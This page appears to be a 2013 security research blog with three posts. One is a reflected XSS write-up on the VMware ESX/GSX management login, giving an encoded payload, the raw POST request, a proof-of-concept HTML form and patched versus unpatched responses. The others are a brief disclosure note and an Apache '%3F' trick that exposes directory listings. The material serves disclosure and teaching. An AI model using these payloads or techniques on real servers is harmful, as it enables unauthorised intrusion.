Sunday, January 27, 2013

VMware Management Interface - A Little Story of XSS

As a part of my open research, I came across an XSS vulnerability in VMware management interface which is used by VMware ESX and GSX server. I thought it might be a new issue but interestingly a number of XSS issues have already been reported to VMware security team. The list can be found here:

On the other note, a number of VMware management interfaces exposed on the Internet are still vulnerable. Of-course, the administrators have not deployed patches or upgraded the required software. I din't get enough details on the XSS issue (may be I missed it). So, I thought to talk about the issue in detail here. I am not going to list which versions are affected, you can get that information in the advisories. I will talk about the issue. The management interface look like as presented below:

VMware Management Interface
The username and password field are provided with ids as "l" and "m" respectively. Interestingly, the vulnerable interfaces use client side encoding to obfuscate the input values entered by the user. But, this can be taken care while using proxy, the value can be directly passed without encoding (alter the HTTP request and POST parameters in the proxy such as BURP, Charles, etc). For example:- if you specify the parameters as follows:


it gets encoded as follows:

l = Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==
m = dGVzdA==

Well, its not a complex encoding but only a Base 64 encoding. Even if, one uses the proxy to pass the values without encoding, due to client side work, the XSS payload fails to render in the webpage. The output looks like as follows:

<html><head><title>Login: VMware Management Interface</title><script> var user="Ii8+Ii8+Ii8+PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

It reflects back our XSS payload but in Base 64 encoded format which is rendered as useless data. The vulnerability persisted in the handling of these parameters on the server side. If you check, the same payload is reflected back without any additional modification. Actually, the server does not perform any encoding or input validation. Its all client side. The idea is to simply render this payload without encoding. All the POST requests are handled by the /sx-login/ Let's see:

(Request-Line) POST /sx-login/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: vmware.mui.test=1; vmware.mui.test=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

The simple proof of concept (PoC) that directly sends request to the /sx/login/ is shown below which queries directly without any encoding and made the XSS work.


<form name="k" id="k" method="post" action="" target="data">
<input name="l" type="text" value='"--></style></script><script>alert(document.location);</script>"'/>
<input name="m" type="password" value="test"/>
<input type="submit" value="Submit">


Once this form is successfully submitted, it results in XSS as shown below:

<html><head><title>Login: VMware Management Interface</title><script>
var user=""--></style></script><script>alert(document.location);</script>"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

Successful XSS Injection
On patched  systems, the web server replied back as follows:

<html><head><title>Login: VMware Management Interface</title><script>
var user="\"--\u003E\u003C/style\u003E\u003C/script\u003E\u003Cscript\u003Ealert(document.location);\u003C/script\u003E\"";var err="-4";var str="Permission denied: Login (username/password) incorrect";var next=null;
</script></head><body bgcolor="#336699" onload="try{if(parent.loginCb)parent.loginCb(self);}catch(e){;}"></body></html>

The patched versions are now using server side unicode encoding to subvert the XSS payload.


Thursday, January 24, 2013

Responsible Disclosure : XSS in UBM

Last year, I reported an XSS issue in the which was used by UBM organization. I revealed the details to Trey Ford, and the result is as expected. The issue has been patched :). The domain is no longer valid as it redirects all the traffic to the primary website

This issue was result of an outcome of open research. The good point is that, the vulnerability got noticed and patched.

XSS - 1 
and ...

XSS - 2

Sunday, January 20, 2013

(Pentest Apache #2) - The Beauty of "%3F" and Apache's Inability | Wordpress | Mod Security

Tested Apache Version: Apache 1.3.37(Unix) (with different modules)

I was doing an open research and came across an interesting issue which helps a penetration tester to gather more information about the files present (directory listing) on the web server (specific web folder). I tested only one version of Apache for this. Let's understand this issue. The problem is present in Apache's ability to process the encoded value of "?" which is "%3F". 

Testing: During the validation, I found that wordpress was running on Apache 1.3.37(unix). Due to misconfiguration, it was possible to access the /wp-includes/  folder, which resulted in directory listing as shown below:

So, when I accessed the /wp-admin/ directory, it redirected me to the login page as presented below:

Tthe above presented screenshot shows the correct behavior of the wordpress or the Apache server when /wp-admin/ directory is accessed. Now, when I accessed the , the web server displayed the contents of wordpress blog such as posts and entries. 

Question : Is it possible to get the directory listing on accessing the /blog/ directory?
Answer : Yes, It can be done in some web servers such as Apache.

Question : How can it be possible?
Answer : I exploited the behavior of Apache in processing the encoded "?" character whose value is
"%3F". Amazingly, it worked. I constructed the payload as: [One can use any id number or parameter]

Other examples:

When I used the above stated payload, I got the response as follows:

This allowed me to get the listing of the /blog/ directory which really helped me to understand the presence of different files on the remote web server. But, If I used the payload as: without encoding, it did not work. So the encoding of "?" character resulted in failure of processing the request as desired by the Apache web server thereby resulting in directory listing.

Let's have a look at the HTTP response headers:

(Status-Line)      HTTP/1.1 200 OK
Date      Sun, 20 Jan 2013 19:22:59 GMT
Server   VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5
Content-Type    text/html; charset=ISO-8859-1
Transfer-Encoding           chunked

(Status-Line)      HTTP/1.1 200 OK
Date      Sun, 20 Jan 2013 19:23:48 GMT
Server   VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5
X-Powered-By  PHP/5.1.5 with Hardening-Patch
Content-Type    text/html; charset=ISO-8859-1
Transfer-Encoding           chunked

In the request 2, the response contains X-Powered-By as compared to the first request. So, the PHP preprocessor plays a part in it.

Constraint: In this technique, one can only get the directory listing but will no be able to access those files
until unless there is misconfiguration issue.

Background: I forced Google to provide me with related information and I got the related links as follows:

Solution: Configure appropriate rewrite rules using mod_rewrite to prevent these types of vulnerabilities.
Check [1] for this

Note: If any reader has a specific view on this, please respond back. 

DEFCON 20 Talk : Botnets Die Hard : Owned and Operated Video